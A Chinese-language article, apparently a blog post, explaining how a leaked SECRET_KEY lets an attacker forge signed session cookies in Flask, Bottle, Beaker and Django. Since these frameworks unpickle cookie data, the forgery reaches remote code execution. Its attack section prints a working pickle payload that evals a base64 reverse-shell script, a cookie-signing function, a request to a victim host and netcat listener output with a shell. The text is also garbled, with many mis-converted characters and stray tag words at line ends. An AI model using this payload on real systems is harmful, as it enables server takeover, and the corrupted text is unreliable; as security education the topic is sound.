在與同事交流中發現對於csrf_token(跨站僞造)攻擊有不少的問題。python
Django, Bottle, Flask,等全部的python web框架都須要配置一個SECRET_KEY。文檔一般推薦咱們使用隨機的值,但我很難發現他有任何文字說明,由於這樣容易被破解(本地攻擊或者文本閱讀在web app中更容易受攻擊)。攻擊者可使用SECRET_KEY僞造cookies,csrf token而後使用管理員工具。不過這很難作到,不過他能夠搞一些小破壞,好比執行惡意代碼。這也是我下面將要介紹的。web
記得之前使用PHP找到一個能夠讀服務器上任意文件的bug(不包含本地文件),你將會被迫選擇遠程執行代碼(RCE)。你就須要審查大部分的app資源文件來找到其餘的bugs或者有用的信息(好比說用戶密碼,或者數據庫信息等)。在這個狀況下,咱們能說PHP是更安全的嗎?
在攻擊一個Python網站框架的時候,知道你設置的SECRET_KEY字段的攻擊者,可以簡單的將LFR攻擊升級到RCE攻擊。我(做者)是從攻擊一系列的網站框架以後得出如上結論的。在這些網站框架中,都有雷同的,使用Pickle做爲將通過簽名的Cookie序列化的方式。shell
在Flask框架中,Flask在config['SECRET_KEY']被賦予某個值,session_cookie_name(default='session')存在於cookie中的時候,將Cookie反序列化,甚至在沒有session的狀況下。(這樣多麼好,攻擊者能夠僅僅經過向config file添加SECRET_KEY的方式製造後門,而且,天真的用戶將認爲這很是'重要')
數據庫
從 werkzeug library 裏面提取出來的反序列方法是這樣的:
django
def unserialize(cls, string, secret_key): if isinstance(string, unicode): string = string.encode('utf-8', 'replace') try: base64_hash, data = string.split('?', 1) except (ValueError, IndexError): items = () else: items = {} mac = hmac(secret_key, None, cls.hash_method) # -- snip --- try: client_hash = base64_hash.decode('base64') except Exception: items = client_hash = None if items is not None and safe_str_cmp(client_hash, mac.digest()): try: for key, value in items.iteritems(): items[key] = cls.unquote(value) except UnquoteError: # -- snip -- else: items = () return cls(items, secret_key, False)flask
反序列方法檢查簽名,而後在簽名正確的狀況下unquote()cookie的值。unquote()方法看起來很是無辜,可是事實上,這是一個默認的pickle.
小程序
#: the module used for serialization. Unless overriden by subclasses #: the standard pickle module is used. serialization_method = pickle def unquote(cls, value): # -- snip -- if cls.quote_base64: value = value.decode('base64') if cls.serialization_method is not None: value = cls.serialization_method.loads(value) return value # -- snip --安全
Bottle: 在默認的bottle設定中時沒有真正的secret key的,可是也許有人想要用的功能來加密他本身的cookie.服務器
讓咱們來看看代碼是怎麼樣的:
cookie
def get_cookie(self, key, default=None, secret=None): value = self.cookies.get(key) if secret and value: dec = cookie_decode(value, secret) # (key, value) tuple or None return dec[1] if dec and dec[0] == key else default return value or default
當這個密鑰被展示出來的時候,而且在cookie中還有其餘數值的時候,方法被調用:
def cookie_decode(data, key): data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())): return pickle.loads(base64.b64decode(msg)) return None
再次,咱們看到了Pickle !
Beaker 的session:(任何服務均可以在session上使用beaker的中間件,bottle框架甚至推薦這麼作) Beaker.Session 具備不少功能,而且這可能被混淆: 這裏面有三個密鑰 secret_key, validate_key, encrypted_key)
encrypt_key: 加密cookie信息,而後要麼向客戶端發送(session.type="cookie"/Cookie mode),要麼在(session.type="file"/File mode)中儲存。若是沒有設定encrypt_key,那麼cookie不會被加密,只會被base64編碼。當有encrypt_key的時候,cookie會被用encrypted_key, validate_key(可選)和一個隨機值用AES方法加密。
validate_key: 用來給加密的cookie簽名
secret:在用File mode時候給cookie簽名(我不知道爲何他們不就用一個validate_key就行了!)
固然,當有人對文件擁有讀的權限的時候,他/她理所固然知道全部的字段。然而,File mode使得攻擊不得能由於咱們對已經序列化的數據並無控制權,例如,當這些數據儲存在本地硬盤上的時候。在Cookie mode,攻擊就可以成立,即使cookie被編碼了(由於咱們知道怎麼encrypt,哈哈)。你也許會問,那個隨機參數是不可知的,大家沒辦法攻擊,幸運的是這個隨機參數也是cookie存數的session數據的一部分,所以,咱們能夠將其替代爲任何咱們須要的值。
下面是他們構造session數據的代碼
def _encrypt_data(self, session_data=None): """Serialize, encipher, and base64 the session dict""" session_data = session_data or self.copy() if self.encrypt_key: nonce = b64encode(os.urandom(6))[:8] encrypt_key = crypto.generateCryptoKeys(self.encrypt_key, self.validate_key + nonce, 1) data = util.pickle.dumps(session_data, 2) return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key)) else: data = util.pickle.dumps(session_data, 2) return b64encode(data)
咱們明顯的看到這些數據的處理存在風險。
Django: 最知名也是在Python語言中最複雜的一個服務器框架。並且,沒錯,Django的開發者們在Cookie Session上放置了一個蠻不錯的警告。以我之鄙見,這個警告不夠,而應該被替換成'致命'或者是',而且標上紅色。
Django的Session是咋麼工做的呢?咱們可以從Django的文檔中輕易的找到可閱讀的答案:總而言之,Django給了session 3個能夠設定的項目:db,file以及signed_cookie。再一次,咱們只對signed_cookie產生興趣,由於咱們能夠輕鬆的改變它。若是SESSION_ENGINE被設定爲「django.contrib.sessions.backends.signed_cookies「,咱們就肯定signed_cookie是背用於session的管理。
有趣的是,若是咱們在request cookie裏面構造一個sessionid,它老是會被反序列化。Django也給了咱們一個cookie是如何被簽名的好實例。這讓咱們的工做輕鬆多了。
咱們的攻擊
咱們尚未討論咱們如何攻擊(有些你可能已經知道了)!感謝您的耐心看到最後,我寫它在最後是由於攻擊手段充滿共性,並且簡單(是的,原則性的知識)。
在這裏,咱們能夠讀取任何文件。要找到Python應用程序的配置文件並不難,由於處處有導入(import)。當咱們得到的密鑰時,咱們能夠簡單的實現(或重複使用)簽署web框架的cookie,並使用咱們的惡意代碼。 由於它們使用的是pickle.loads()反序列化的時候,咱們的使用pickle.dumps()保存惡意代碼。
piclke.dump()和loads()一般在處理整數,字符串,數列,哈希,字典類型的時候是安全的....可是他在處理一些惡意構造的數據類型的時候就不安全了!事實上,攻擊者能夠經過構造的數據類型來達到執行任意Python代碼的目的。我寫了一段不錯的小程序來吧Python代碼轉換成Pickle序列化的對象。咱們應該從connback.py開始閱讀(這其實是一個反向連接的shell),而後咱們將誘使對方網站來用Pickle方法將其序列化。若是有人執行了pickle.loads(payload),那麼咱們的反向連接shell就會被激活。
code = b64(open('connback.py').read()) class ex(object): def __reduce__(self): return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) ) payload = pickle.dumps(ex())
如今咱們簽名(適用於flask web框架):
def send_flask(key, payload): data = 'id='+b64(payload) mac = b64(hmac(key, '|'+data, hashlib.sha1).digest()) s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
而後發送
print requests.get('http://victim/', cookies={'session':s})
在另一個終端裏:
danghvu@thebeast:~$ nc -lvvv 1337 Connection from x.x.x.x port 1337 [tcp/*] accepted !P0Wn! Congratulation !! sh: no job control in this shell sh-4.1$
還有啥?
-因此怎樣?只要你不知道個人secret_key我就是安全的!能夠啊,你能夠這樣....可是和宣稱:"我把個人鑰匙放在房頂上,我知道你爬不上來..."沒啥區別。
-好的, 因此若是我不用這種session cookie,我就安全了!沒錯,在小型的web app上,將session 儲存在文件裏面更安全(若是放在DB裏面,咱們還面臨SQL Injection的危險)。可是若是是大型web app,而後你有個分佈式的存儲方式,這將致使嚴重的效率問題。
-那咋辦?也許咱們應該讓那些web框架不要用piclke來序列化?我不知道是否存在這種框架,若是有的話就行了。PHP更安全嗎?事實上不是如此